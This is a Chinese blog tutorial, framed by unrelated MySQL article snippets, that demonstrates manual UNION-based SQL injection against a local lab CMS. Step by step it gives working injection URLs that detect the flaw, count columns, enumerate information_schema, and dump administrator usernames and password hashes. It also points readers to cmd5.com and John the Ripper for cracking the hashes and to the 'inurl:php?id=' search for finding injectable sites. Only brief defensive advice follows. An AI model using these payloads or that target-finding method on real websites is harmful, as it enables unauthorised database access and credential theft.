mysql.cnf在哪
#*** client options 相关选项 ***##以下选项会被MySQL客户端应用读取。注意只有MySQL附带的客户端应用程序保证可以读取这段内容。如果你想你自己的MySQL应用程序获取这些...
2024.11.15友情提示
初入安全,小白一个,本文重在学习与经验分享!
背景
对存在SQL注入漏洞的Web站点进行SQL注入,爆出用户账号信息。
1. 实验环境
本次实验是对MySQL数据库进行手工注入,静态页面不存在SQL注入漏洞,只有动态页面才能进行SQL注入。
靶机 Web URL:http://192.168.0.109/xycms1.2/showproducts.php?id=13
注:查找Web站点的动态页面,即需要到数据库中取数据并将数据返回到web页面的展示的URL进行SQL注入,可以使用搜索引擎搜索"inurl:php?id="获取动态页面。
2. SQL注入漏洞原理
在动态页面的URL后面输入一些与查询相关的SQL语句(如:条件判断、排序、union联合查询语句),web页面正常显示或者报错显示,说明web页面将你输入的SQL语句没有做任何的处理,直接带入到数据库中进行了select查询并将结果返回给web页面展示,只不过是由于你写的SQL语句正确或者存在错误,导致页面正常显示或者报错显示。
如果出现这种将SQL语句带入到数据库中进行正常查询的情况,基本上就存在SQL注入的漏洞了。
SQL注入漏洞判断是否存在:
(1)在URL后边输入条件查询语句 "and 1=1",页面会正常显示。
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=1
对应的SQL语句:select * from xy_pro where id=13 and 1=1;
# 在SQL语句中"1=1"条件永远为"true",再加上前边正常查询的条件id=13,进行逻辑与(and)运算,此where条件判断的结果永远为"true",所以SQL查询能够正常获取数据并返回给web页面展示,所以web页面显示正常。
web页面显示结果
SQL查询结果
(2)在URL后边输入条件查询语句 "and 1=2",页面会报错显示。
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2
# 此页面使用的表名为xy_pro
对应的SQL语句:select * from xy_pro where id=13 and 1=2;
# 在SQL语句中"1=2"条件永远为"false",再加上前边正常查询的条件id=13,进行逻辑与(and)运算,此where条件判断的结果永远为"false"。所以,SQL查询的结果为"Null"空值(没有查询到任何数据,但是也正常查询了,只不过获取的数据为空),SQL语句将获取数据(空值)返回给web页面展示,所以web页面显示异常(没有数据)。
web页面显示结果
SQL查询结果
根据以上两种Web页面的显示结果,可以基本判断此Web页面存在SQL注入的漏洞。因为此Web页面对输入的SQL语句没有做任何的处理就直接将SQL语句带入到数据库中进行了数据查询,并将查询结果返回给Web页面进行显示。
3. SQL手工注入过程
在确认web页面存在SQL注入漏洞以后,就可以进行后续的SQL注入了。
3.1 order by排序查询,以报错和不报错两种结果来判断此表中存在几列数据
order by排序查询语句,后边加数字,表示对第几列进行升序(默认)排序查询,此示例是对11列进行升序排序查询,后边的数字可以随便写,多试几次知道页面显示正常。
注意,在一张表中进行SQL排序查询时,如果此列存在,则会将查询结果进行排序后查询出来,如果此列不存在,则会SQL查询报错。
(1)在URL的后边输入"order by 11",如果报错显示,则判断此表的列数小于11
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 order by 11
对应的SQL语句:select * from xy_pro where id=13 order by 11;
web页面显示结果
SQL查询结果
(2)在URL的后边输入"order by 10",如果页面显示正常,则判断此表的列数为10列
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 order by 11
对应的SQL语句:select * from xy_pro where id=13 order by 11;
web页面显示结果
SQL查询结果
3.2 union联合查询,使其报错显示来爆出在web页面中回显展示的列
在SQL查询后,获取的数据基本上不会将所有数据都回显到web页面进行展示,可能只取查询结果集中的部分内容在web页面进行回显展示。所以,此处就可以通过union联合查询,将回显到web页面的列给爆出来,即都有哪些列的数据在web页面进行回显展示。
在3.1章节已经确认此表总共有10列内容,所以在union联合查询时输入1-10数字进行联合查询。1-10的数字只是为了方便记忆都有哪几列而定的,每一列可以是任意的数字,但是不便于记忆。
注意:在union联合查询判断回显web页面的列的数量时,一定要加上"and 1=2"或者其他内容,使SQL1语句报错。否则,是无法爆出都有哪几列会回显web页面进行展示的。
SQL union查询结果
在url后边输入"union select 1,2,3,4,5,6,7,8,9,10",判断都有哪几列报错,也就是哪几列的数据在web页面展示
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2unionselect 1,2,3,4,5,6,7,8,9,10
对应的SQL语句:select * from xy_pro where id=13 and 1=2unionselect 1,2,3,4,5,6,7,8,9,10;
web页面显示结果
SQL查询结果
以上报错结果显示:在第2列、第6列、第7列、第8列,第10列有报错,说明web只取了SQL查询结果集中的这几列在web页面展示。
3.3 union联合查询,使用MySQL函数爆出web站点当前在用的数据库名、表名、列名
在判断出都有哪些列报错后,就可以在某一列上通过使用SQL语言中的函数来爆出当前web站点在用的数据库名、表名、列名以及字段内容等信息了。
在3.2章节中,已经爆出在哪些列有报错,选择其中第2列或者其他报错的列使用database()函数爆出数据库名。
(1)在第2列使用database()函数来爆出web站点在用的数据库名
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2unionselect 1,database(),3,4,5,6,7,8,9,10
对应的SQL语句:select * from xy_pro where id=13 and 1=2unionselect 1,database(),3,4,5,6,7,8,9,10;
web页面显示结果
SQL查询结果
成功爆出此站点的数据库名为"xycms"。
(2)union联合查询,使用group_concat()函数爆出web站点当前在用的数据库中所有的表名
# 在MySQL数据库中,information_schema库中tables系统表存储了某个自定义的数据库中的所有的表名
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2unionselect 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=‘xycms‘
对应的SQL语句:select * from xy_pro where id=13 and 1=2unionselect 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=‘xycms‘;
web页面显示结果
SQL查询结果
在"xycms"数据库中爆出所有的表名,找到其中比较像存储用户账号信息的表名"manage_user"。
(3)union联合查询,使用group_concat()函数爆出web站点当前在用的数据库中某张表的列名
# xycms库中比较像存储用户账号信息的表为"manage_user",所以爆出此表的列名
# 在MySQL数据库中,information_schema系统库中columns系统表存储了某个自定义数据库中的某张表的列名
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2unionselect 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=‘manage_user‘
对应的SQL语句:select * from xy_pro where id=13 and 1=2unionselect 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=‘manage_user‘;
web页面显示结果
SQL查询结果
成功爆出manage_user表的列名为:id,m_name,m_pwd,c_date
3.4 union联合查询,使用MySQL函数爆出web站点当前在用的某张表的列内容
# 为了方便区分开用户名和密码,建议使用ASCII码0x5c(代表"\")进行内容分隔
# 也可以使用其他ASCII码进行内容分隔,如:回车。
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2unionselect 1,group_concat(id,0x5c,m_name,0x5c,m_pwd,c_date),3,4,5,6,7,8,9,10 from manage_user
对应的SQL语句:select * from xy_pro where id=13 and 1=2unionselect 1,group_concat(id,0x5c,m_name,0x5c,m_pwd,c_date),3,4,5,6,7,8,9,10 from manage_user;
web页面显示结果
SQL查询结果
成功爆出此站点后台管理员的账号信息。其中用户口令是加密的,可以用密码爆破工具解密此密文。如:在线爆破工具:www.cmd5.com、离线爆破工具:john the ripper
3. 安全建议
(1)在动态页面中增加字符替换、特殊字符检查等相关函数,对页面输入的内容进行安全检查。
(2)部署web应用防火墙(WAF)。
#*** client options 相关选项 ***##以下选项会被MySQL客户端应用读取。注意只有MySQL附带的客户端应用程序保证可以读取这段内容。如果你想你自己的MySQL应用程序获取这些...
2024.11.15MySQL索引有哪些类型MySQL目前主要有以下几种索引类型:普通索引:最基本的索引,没有任何限制条件。唯一索引:与普通索引类似,但要求索引列的值唯一,不允许重复。主键索引:是一种特殊的唯一索引,不允...
2024.11.12SQL注入实战说明:下面的URL为了让读者可以看清,所以没有进行URL的base64加密,但是读者在执行前需要对其进行base64加密,之后才可以正常执行!本次靶场操作以个人的实验环境为例。首先从我实...
2024.11.15日期函数1.作用主要用于查询日期及对日期数据进行进一步处理2.主要函数函数名称格式说明curdate()curdate()查询当前日期curtime()curtime()查询当前时间now()now(...
2024.11.12概述很多面试官经常会问mysql跟oracle的区别,整理一下分享给大家。一、并发性并发性是oltp数据库最重要的特性,但并发涉及到资源的获取、共享与锁定。mysql:mysql以表级锁为主,对资源锁...
2024.11.15